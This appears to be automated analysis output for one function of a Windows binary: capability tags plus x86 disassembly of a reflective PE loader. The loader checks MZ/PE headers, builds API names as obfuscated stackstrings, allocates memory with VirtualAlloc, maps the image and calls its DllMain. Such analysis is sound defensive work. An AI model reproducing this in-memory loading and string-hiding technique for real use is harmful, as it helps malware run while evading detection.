Function at 0x100012d0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x44
cmp word [eax], 0x5a4d
push ebx
push ebp
push esi
push edi
je 0x100012ec
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [esp + 0x14], esi
cmp dword [esi], 0x4550
je 0x10001307
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x45
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
lea eax, [esp + 0x34]
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], 0x6c
mov byte [esp + 0x37], 0x6c
mov byte [esp + 0x38], 0
mov byte [esp + 0x3c], 0x56
mov byte [esp + 0x3d], 0x69
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x40], 0x75
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x41
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x48], 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0x50]
mov edi, eax
mov eax, dword [esi + 0x34]
push 4
push 0x2000
push edx
push eax
call edi
mov ebx, eax
test ebx, ebx
jne 0x100013d7
mov ecx, dword [esi + 0x50]
push 4
push 0x2000
push ecx
push eax
call edi
mov ebx, eax
test ebx, ebx
jne 0x100013d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
mov al, 0x73
lea edx, [esp + 0x44]
mov byte [esp + 0x4c], al
mov byte [esp + 0x4d], al
lea eax, [esp + 0x24]
push edx
push eax
mov byte [esp + 0x4c], 0x47
mov byte [esp + 0x4d], 0x65
mov byte [esp + 0x4e], 0x74
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], 0x65
mov byte [esp + 0x56], 0x48
mov byte [esp + 0x57], 0x65
mov byte [esp + 0x58], 0x61
mov byte [esp + 0x59], 0x70
mov byte [esp + 0x5a], 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x24]
push ecx
push edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x20], 0x48
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x63
mov byte [esp + 0x29], 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x14
push 0
mov ebp, eax
call dword [esp + 0x18]
push eax
call ebp
mov ebp, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebp + 4], ebx
mov dword [ebp + 0xc], eax
mov dword [ebp + 8], eax
mov dword [ebp + 0x10], eax
mov eax, dword [esi + 0x50]
push eax
push ebx
call edi
mov ecx, dword [esi + 0x54]
push 4
push 0x1000
push ecx
push ebx
call edi
mov edx, dword [esp + 0x58]
mov edi, dword [esi + 0x54]
mov esi, edx
mov ecx, dword [edx + 0x3c]
add ecx, edi
mov edi, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x58]
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebp], eax
mov esi, dword [esp + 0x14]
push ebp
push esi
push ecx
mov dword [eax + 0x34], ebx
call fcn.10001560
mov ecx, dword [esi + 0x34]
mov eax, ebx
add esp, 0xc
sub eax, ecx
je 0x10001506
push eax
push ebp
call fcn.10001a50
add esp, 8
push ebp
call fcn.100018a0
add esp, 4
test eax, eax
je 0x10001537
push ebp
call fcn.100016d0
mov eax, dword [ebp]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10001551
add eax, ebx
test eax, eax
je 0x10001537
push 0
push 1
push ebx
call eax
test eax, eax
jne 0x1000154a
push ebp
call fcn.10001b70
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
mov dword [ebp + 0x10], 1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x44
ret